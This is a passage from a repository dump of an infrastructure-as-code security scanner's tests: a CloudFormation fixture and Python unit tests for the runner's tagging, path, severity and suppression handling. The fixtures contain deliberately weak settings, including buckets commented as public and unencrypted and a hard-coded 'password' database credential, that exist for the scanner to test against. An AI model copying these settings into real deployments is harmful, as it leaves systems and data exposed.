    "content": "Resources:\n  DataBucket:\n    # Public, not encrypted, no access logs, no versioning\n    Type: AWS::S3::Bucket\n    DeletionPolicy: Delete\n    Properties:\n      BucketName: !Sub \"${AWS::AccountId}-data\"\n      Tags:\n        - Key: Simple\n          Value: Value\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-data\"\n        - Key: Environment\n          Value: !Sub\n            - long-form-sub-${account}\n            - account: test\n        - Key: Account\n          Value: !Sub\n            - long-form-sub-${account}\n            - { account: !Ref  AWS::AccountId }\n  NoTags:\n    # Public, not encrypted, no access logs, no versioning\n    Type: AWS::S3::Bucket\n    DeletionPolicy: Delete\n    Properties:\n      BucketName: !Sub \"${AWS::AccountId}-notags\"\n  EKSClusterNodegroup:\n    Type: AWS::EKS::Nodegroup\n    Properties:\n      ClusterName: !Ref ClusterName\n      NodegroupName: !Ref NodeGroupName\n      NodeRole: !GetAtt EKSNodegroupIAMRole.Arn\n      InstanceTypes: !Ref NodeGroupInstanceType\n      ScalingConfig:\n        MinSize: !Ref NodeGroupAmount\n        DesiredSize: !Ref NodeGroupAmount\n        MaxSize: !Ref NodeGroupAmount\n      Subnets: !Ref VPCSubnets\n      Tags:\n        Name: !Join [\"-\", [!Ref ClusterName, EKS, !Ref NodeGroupName]]\n  TerraformServerAutoScalingGroup:\n    Type: AWS::AutoScaling::AutoScalingGroup\n    Properties:\n      LaunchConfigurationName: !Ref TerraformServerAutoScalingLaunchConfig\n      MaxSize: 20\n      MinSize: 1\n      DesiredCapacity: !Ref WrapperServerCount\n      VPCZoneIdentifier:\n        - !If\n          - CreateVpc\n          - !If\n            - CreatePrivateSubnet\n            - !Ref TerraformPrivateSubnet\n            - !Ref TerraformPublicSubnet\n          - !Ref Subnet\n      Tags:\n        - Key: Name\n          Value: TF-FulfillmentServer\n          PropagateAtLaunch: true\n        - Key: terraform-server-tag-key\n          Value: terraform-server-tag-value\n          PropagateAtLaunch: true\n        - !If\n          - CreateVpc\n          - Key: PublicRouteDependency\n            Value: !Ref TerraformPublicGatewayRoute\n            PropagateAtLaunch: false\n          - !Ref AWS::NoValue\n        - !If\n          - CreatePrivateSubnet\n          - Key: PrivateRouteDependency\n            Value: !Ref TerraformNatGatewayRoute\n            PropagateAtLaunch: false\n          - !Ref AWS::NoValue\n"
  },
  {
    "path": "tests/cloudformation/runner/test_runner.py",
    "content": "import dis\nimport inspect\nimport os\nimport unittest\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import Dict, Any\n\nimport pytest\nfrom parameterized import parameterized_class\n\nfrom checkov.cloudformation.checks.resource.registry import cfn_registry\nfrom checkov.cloudformation import cfn_utils\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.cloudformation.parser import parse\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import BcSeverities, Severities\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.common.output.report import Report\nfrom checkov.cloudformation.cfn_utils import create_definitions\n\nRESOURCES_DIR = Path(__file__).parent / \"resources\"\n\n\n@parameterized_class([\n   {\"db_connector\": NetworkxConnector},\n   {\"db_connector\": RustworkxConnector}\n])\nclass TestRunnerValid(unittest.TestCase):\n\n    def setUp(self) -> None:\n        self.orig_checks = cfn_registry.checks\n\n    def test_registry_has_type(self):\n        self.assertEqual(cfn_registry.report_type, CheckType.CLOUDFORMATION)\n\n    def test_record_relative_path_with_relative_dir(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_20']\n        report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='cloudformation', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    def test_record_relative_path_with_abs_dir(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\")\n\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        dir_abs_path = os.path.abspath(scan_dir_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_20']\n        report = runner.run(root_folder=dir_abs_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='cloudformation', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    def test_record_relative_path_with_relative_file(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"success.json\")\n\n        # this is the relative path to the file to scan (what would actually get passed to the -f arg)\n        file_rel_path = os.path.relpath(scan_file_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_20']\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path],\n                            runner_filter=RunnerFilter(framework='cloudformation', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_record_relative_path_with_abs_file(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"success.json\")\n\n        file_rel_path = os.path.relpath(scan_file_path)\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_20']\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_abs_path],\n                            runner_filter=RunnerFilter(framework='cloudformation', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            # no need to join with a '/' because the CFN runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_record_includes_custom_guideline(self):\n        custom_guideline_url = \"https://my.custom.url\"\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        cfn_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"AWS::SQS::Queue\"],\n                    guideline=custom_guideline_url\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        AnyFailingCheck()\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"fail.yaml\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework='cloudformation', checks=[custom_check_id])\n        )\n\n        self.assertEqual(report.failed_checks[0].guideline, custom_guideline_url)\n\n    def test_get_tags(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"tags.yaml\")\n\n        definitions, _ = parse(scan_file_path)\n\n        resource_name = 'DataBucket'\n        resource = definitions['Resources'][resource_name]\n        entity = {resource_name: resource}\n        entity_tags = cfn_utils.get_resource_tags(entity)\n\n        self.assertEqual(len(entity_tags), 4)\n        tags = {\n            'Simple': 'Value',\n            'Name': '${AWS::AccountId}-data',\n            'Environment': 'long-form-sub-${account}',\n            'Account': 'long-form-sub-${account}'\n        }\n\n        for name, value in tags.items():\n            self.assertEqual(entity_tags[name], value)\n\n        resource_name = 'NoTags'\n        resource = definitions['Resources'][resource_name]\n        entity = {resource_name: resource}\n        entity_tags = cfn_utils.get_resource_tags(entity)\n\n        self.assertIsNone(entity_tags)\n\n        'TerraformServerAutoScalingGroup'\n        resource_name = 'TerraformServerAutoScalingGroup'\n        resource = definitions['Resources'][resource_name]\n        entity = {resource_name: resource}\n        entity_tags = cfn_utils.get_resource_tags(entity)\n        if '__file__' in entity_tags:\n            del entity_tags['__file__']\n\n        self.assertDictEqual(\n            entity_tags,\n            {\n                \"Name\": \"TF-FulfillmentServer\",\n                \"terraform-server-tag-key\": \"terraform-server-tag-value\",\n            }\n        )\n\n        resource_name = 'EKSClusterNodegroup'\n        resource = definitions['Resources'][resource_name]\n        entity = {resource_name: resource}\n        entity_tags = cfn_utils.get_resource_tags(entity)\n        if '__file__' in entity_tags:\n            del entity_tags['__file__']\n\n        self.assertDictEqual(\n            entity_tags,\n            {\n                'Name': '{\\'Ref\\': \\'ClusterName\\'}-EKS-{\\'Ref\\': \\'NodeGroupName\\'}',\n            }\n        )\n\n    def test_wrong_check_imports(self):\n        wrong_imports = [\"arm\", \"dockerfile\", \"helm\", \"kubernetes\", \"serverless\", \"terraform\"]\n        ignore_files = [\"BaseCloudsplainingIAMCheck.py\", \"ECRPolicy.py\"]\n        check_imports = []\n\n        checks_path = Path(inspect.getfile(Runner)).parent.joinpath(\"checks\")\n        for file in checks_path.rglob(\"*.py\"):\n            if file.name in ignore_files:\n                continue\n\n            with file.open() as f:\n                instructions = dis.get_instructions(f.read())\n                import_names = [instr.argval for instr in instructions if \"IMPORT_NAME\" == instr.opname]\n\n                for import_name in import_names:\n                    wrong_import = next((import_name for x in wrong_imports if x in import_name), None)\n                    if wrong_import:\n                        check_imports.append({file.name: wrong_import})\n\n        assert len(check_imports) == 0, f\"Wrong imports were added: {check_imports}\"\n\n    @pytest.mark.skip(\"No graph checks implemented yet for cloudformation\")\n    def test_run_graph_checks(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"../graph/checks/resources/MSKClusterLogging\")\n\n\n        dir_abs_path = os.path.abspath(scan_dir_path)\n\n        report = Runner(db_connector=self.db_connector()).run(\n            root_folder=dir_abs_path,\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"cloudformation\"], download_external_modules=False)\n        )\n\n        self.assertGreater(len(report.failed_checks), 0)\n        self.assertGreater(len(report.passed_checks), 0)\n\n    def test_external_data(self):\n        dir_abs_path = os.path.dirname(os.path.realpath(__file__))\n\n        definitions = {\n            f'{dir_abs_path}/s3.yaml': {\n                'Resources': {\n                    'MySourceQueue': {\n                        'Type': 'AWS::SQS::Queue',\n                        'Properties': {\n                            'KmsMasterKeyId': 'kms_id',\n                            '__startline__': 17,\n                            '__endline__': 22,\n                            'resource_type': 'AWS::SQS::Queue'\n                        }\n                    },\n                    'MyDB': {\n                        'Type': 'AWS::RDS::DBInstance',\n                        'Properties': {\n                            'DBName': 'db',\n                            'DBInstanceClass': 'db.t3.micro',\n                            'Engine': 'mysql',\n                            'MasterUsername': 'master',\n                            'MasterUserPassword': 'password',  # checkov:skip=CKV_SECRET_6 test secret\n                            '__startline__': 23,\n                            '__endline__': 32,\n                            'resource_type': 'AWS::RDS::DBInstance'\n                        }\n                    }\n                }\n            }\n        }\n\n        context = {\n            f\"{dir_abs_path}/s3.yaml\": {\n                \"Parameters\": {\n                    \"KmsMasterKeyId\": {\n                        \"start_line\": 5,\n                        \"end_line\": 9,\n                        \"code_lines\": [\n                            (5, '    \"KmsMasterKeyId\": {\\n'),\n                            (6, '      \"Description\": \"Company Name\",\\n'),\n                            (7, '      \"Type\": \"String\",\\n'),\n                            (8, '      \"Default\": \"kms_id\"\\n'),\n                            (9, \"    },\\n\"),\n                        ],\n                    },\n                    \"DBName\": {\n                        \"start_line\": 10,\n                        \"end_line\": 14,\n                        \"code_lines\": [\n                            (10, '    \"DBName\": {\\n'),\n                            (11, '      \"Description\": \"Name of the Database\",\\n'),\n                            (12, '      \"Type\": \"String\",\\n'),\n                            (13, '      \"Default\": \"db\"\\n'),\n                            (14, \"    }\\n\"),\n                        ],\n                    },\n                },\n                \"Resources\": {\n                    \"MySourceQueue\": {\n                        \"start_line\": 17,\n                        \"end_line\": 22,\n                        \"code_lines\": [\n                            (17, '    \"MySourceQueue\": {\\n'),\n                            (18, '      \"Type\": \"AWS::SQS::Queue\",\\n'),\n                            (19, '      \"Properties\": {\\n'),\n                            (20, '        \"KmsMasterKeyId\": { \"Ref\": \"KmsMasterKeyId\" }\\n'),\n                            (21, \"      }\\n\"),\n                            (22, \"    },\\n\"),\n                        ],\n                        \"skipped_checks\": [],\n                    },\n                    \"MyDB\": {\n                        \"start_line\": 23,\n                        \"end_line\": 32,\n                        \"code_lines\": [\n                            (23, '    \"MyDB\": {\\n'),\n                            (24, '      \"Type\": \"AWS::RDS::DBInstance\",\\n'),\n                            (25, '      \"Properties\": {\\n'),\n                            (26, '        \"DBName\": { \"Ref\": \"DBName\" },\\n'),\n                            (27, '        \"DBInstanceClass\": \"db.t3.micro\",\\n'),\n                            (28, '        \"Engine\": \"mysql\",\\n'),\n                            (29, '        \"MasterUsername\": \"master\",\\n'),\n                            (30, '        \"MasterUserPassword\": \"password\"\\n'),\n                            (31, \"      }\\n\"),\n                            (32, \"    }\\n\"),\n                        ],\n                        \"skipped_checks\": [],\n                    },\n                },\n                \"Outputs\": {\n                    \"DBAppPublicDNS\": {\n                        \"start_line\": 35,\n                        \"end_line\": 38,\n                        \"code_lines\": [\n                            (35, '    \"DBAppPublicDNS\": {\\n'),\n                            (36, '      \"Description\": \"DB App Public DNS Name\",\\n'),\n                            (37, '      \"Value\": { \"Fn::GetAtt\" : [ \"MyDB\", \"PublicDnsName\" ] }\\n'),\n                            (38, \"    }\\n\"),\n                        ],\n                    }\n                },\n            }\n        }\n        breadcrumbs = {}\n        runner = Runner(db_connector=self.db_connector())\n        runner.set_external_data(definitions, context, breadcrumbs)\n        report = Report('cloudformation')\n        runner.check_definitions(root_folder=dir_abs_path, runner_filter=RunnerFilter(framework='cloudformation', download_external_modules=False), report=report)\n        self.assertEqual(len(report.passed_checks), 2)\n        self.assertEqual(len(report.failed_checks), 4)\n        pass\n\n    def test_breadcrumbs_report(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"../graph/graph_builder/resources/variable_rendering/render_params\")\n\n        dir_abs_path = os.path.abspath(scan_dir_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=dir_abs_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='cloudformation', download_external_modules=False, checks=[\"CKV_AWS_21\"]))\n\n        self.assertEqual(1, len(report.failed_checks))\n        self.assertIsNotNone(report.failed_checks[0].breadcrumbs)\n        self.assertIsNotNone(report.failed_checks[0].breadcrumbs.get(\"VersioningConfiguration.Status\"))\n\n    def test_parsing_invalid_properties_yaml(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"invalid_properties.yaml\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path],\n                            runner_filter=RunnerFilter(framework='cloudformation'))\n        self.assertEqual(report.parsing_errors, [scan_file_path])\n\n    def test_parsing_invalid_properties_json(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"invalid_properties.json\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path],\n                            runner_filter=RunnerFilter(framework='cloudformation'))\n        self.assertEqual(report.parsing_errors, [scan_file_path])\n\n    def test_parsing_no_properties_yaml(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"no_properties.yaml\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path],\n                            runner_filter=RunnerFilter(framework='cloudformation'))\n        self.assertEqual(len(report.failed_checks), 3)\n        self.assertEqual(len(report.passed_checks), 3)\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"graph.yaml\")\n        runner = Runner(db_connector=self.db_connector())\n        filter = RunnerFilter(framework=['cloudformation'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.CLOUDFORMATION: Severities[BcSeverities.OFF]}\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path], runner_filter=filter)\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    def test_parsing_no_properties_json(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"no_properties.json\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path],\n                            runner_filter=RunnerFilter(framework='cloudformation'))\n        self.assertEqual(len(report.failed_checks), 3)\n        self.assertEqual(len(report.passed_checks), 3)\n\n    def test_parsing_error_yaml(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"invalid.yaml\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path],\n                            runner_filter=RunnerFilter(framework='cloudformation'))\n        self.assertEqual(report.parsing_errors, [scan_file_path])\n\n    def test_double_statement(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"double_statement_cloudsplaining.yml\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path],\n                            runner_filter=RunnerFilter(framework=['cloudformation']))\n        self.assertEqual(len(report.failed_checks), 5)\n        id_and_key = [(x.check_id, x.check_result.get('evaluated_keys')) for x in report.failed_checks]\n        self.assertIn(('CKV_AWS_107', ['Properties/PolicyDocument/Statement/[1]/Action']), id_and_key)\n        self.assertIn(('CKV_AWS_111', ['Properties/PolicyDocument/Statement/[0]/Action/[1]/']), id_and_key)\n\n    def test_skip_sub_dict_json(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"skip_sub_dict.json\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path],\n                            runner_filter=RunnerFilter(framework='cloudformation'))\n        self.assertEqual(len(report.failed_checks), 0)\n\n    def test_parsing_error_json(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"invalid.json\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path],\n                            runner_filter=RunnerFilter(framework='cloudformation'))\n        self.assertEqual(report.parsing_errors, [scan_file_path])\n\n    def test_parse_relevant_files_only(self):\n        definitions, _ = create_definitions(None, ['main.tf'])\n        # just check that we skip the file and return normally\n        self.assertNotIn('main.tf', definitions)\n\n    def test_record_includes_severity(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        cfn_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"AWS::SQS::Queue\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"fail.yaml\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['cloudformation'], checks=[custom_check_id])\n        )\n\n        self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW])\n\n    def test_severity_check_filter_omit(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        cfn_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"AWS::SQS::Queue\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any], entity_type: str) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['MEDIUM']\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"fail.yaml\")\n        report = runner.run(None, files=[scan_file_path], external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='cloudformation', checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_severity_check_filter_include(self):\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        cfn_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"AWS::SQS::Queue\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['MEDIUM']\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"fail.yaml\")\n        report = runner.run(None, files=[scan_file_path], external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['cloudformation'], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_severity_skip_check_filter_omit(self):\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        cfn_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"AWS::SQS::Queue\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_denylist = ['MEDIUM']\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"fail.yaml\")\n        report = runner.run(None, files=[scan_file_path], external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['cloudformation'], skip_checks=checks_denylist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_severity_skip_check_filter_include(self):\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        cfn_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"AWS::SQS::Queue\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_denylist = ['MEDIUM']\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\", \"fail.yaml\")\n        report = runner.run(None, files=[scan_file_path], external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['cloudformation'], skip_checks=checks_denylist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_graph_check_suppressions(self):\n        # given\n        test_file = RESOURCES_DIR / \"suppress_graph_check.yaml\"\n\n        # when\n        report = Runner(db_connector=self.db_connector()).run(\n            root_folder=None,\n            files=[str(test_file)],\n            runner_filter=RunnerFilter(framework=[\"cloudformation\"], checks=[\"CKV2_AWS_33\"]),\n        )\n\n        # then\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 2)\n\n    def tearDown(self):\n        cfn_registry.checks = self.orig_checks\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/test_graph_manager.py",
    "content": "import os\nfrom unittest import TestCase\n\nfrom checkov.cloudformation.graph_builder.graph_components.block_types import BlockType\nfrom checkov.cloudformation.graph_manager import CloudformationGraphManager\nfrom checkov.cloudformation.parser import parse\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestCloudformationGraphManager(TestCase):\n    def test_build_graph_from_source_directory_no_rendering(self):\n        root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, \"./runner/resources\"))\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph, definitions = graph_manager.build_graph_from_source_directory(root_dir, render_variables=False,\n                                                                                   excluded_paths=[\"skip.*\", \"double_state.*\"])\n\n        expected_resources_by_file = {\n            os.path.join(root_dir, \"no_properties.yaml\"): [\n                \"AWS::Serverless::Function.NoPropertiesYaml\"\n            ],\n            os.path.join(root_dir, \"no_properties.json\"): [\n                \"AWS::Serverless::Function.NoPropertiesJson\"\n            ],\n            os.path.join(root_dir, \"tags.yaml\"): [\n                \"AWS::S3::Bucket.DataBucket\",\n                \"AWS::S3::Bucket.NoTags\",\n                \"AWS::EKS::Nodegroup.EKSClusterNodegroup\",\n                \"AWS::AutoScaling::AutoScalingGroup.TerraformServerAutoScalingGroup\",\n            ],\n            os.path.join(root_dir, \"cfn_newline_at_end.yaml\"): [\n                \"AWS::RDS::DBInstance.MyDB\",\n                \"AWS::S3::Bucket.MyBucket\",\n            ],\n            os.path.join(root_dir, \"success.json\"): [\n                \"AWS::S3::Bucket.acmeCWSBucket\",\n                \"AWS::S3::Bucket.acmeCWSBucket2\",\n                \"AWS::S3::BucketPolicy.acmeCWSBucketPolicy\",\n                \"AWS::SNS::Topic.acmeCWSTopic\",\n                \"AWS::SNS::TopicPolicy.acmeCWSTopicPolicy\",\n                \"AWS::CloudTrail::Trail.acmeCWSTrail\",\n                \"AWS::KMS::Key.CloudtrailKMSKey\",\n                \"AWS::KMS::Alias.CloudtrailKMSKeyAlias\",\n                \"AWS::SQS::Queue.acmeCWSQueue\",\n                \"AWS::SQS::QueuePolicy.acmeCWSQueuePolicy\",\n                \"AWS::SNS::Subscription.acmeCWSSubscription\",\n                \"AWS::IAM::Role.acmeCWSSACrossAccountAccessRole\",\n                \"AWS::EKS::Cluster.eksCluster\",\n                \"Custom::acmeSnsCustomResource.acmeSnsCustomResource\",\n            ],\n            os.path.join(root_dir, \"fail.yaml\"): [\n                \"AWS::SQS::Queue.UnencryptedQueue\",\n            ],\n            os.path.join(root_dir, \"graph.yaml\"): [\n                \"AWS::AppSync::GraphQLApi.GoodAppSyncGraphQLApi\",\n                \"AWS::WAFv2::WebACL.GoodWAFv2WebACL\",\n                \"AWS::WAFv2::WebACLAssociation.WebACLAssociation\",\n                \"AWS::AppSync::GraphQLApi.NoWAFAppSyncGraphQLApi\"\n            ],\n            os.path.join(root_dir, \"suppress_graph_check.yaml\"): [\n                \"AWS::AppSync::GraphQLApi.CommentSuppress\",\n                \"AWS::AppSync::GraphQLApi.MetadataSuppress\"\n            ]\n        }\n        self.assertEqual(49, len(local_graph.vertices))\n        self.assertEqual(29, len(local_graph.vertices_by_block_type[BlockType.RESOURCE]))\n        self.assertEqual(9, len(local_graph.vertices_by_block_type[BlockType.PARAMETERS]))\n        self.assertEqual(6, len(local_graph.vertices_by_block_type[BlockType.OUTPUTS]))\n        self.assertEqual(4, 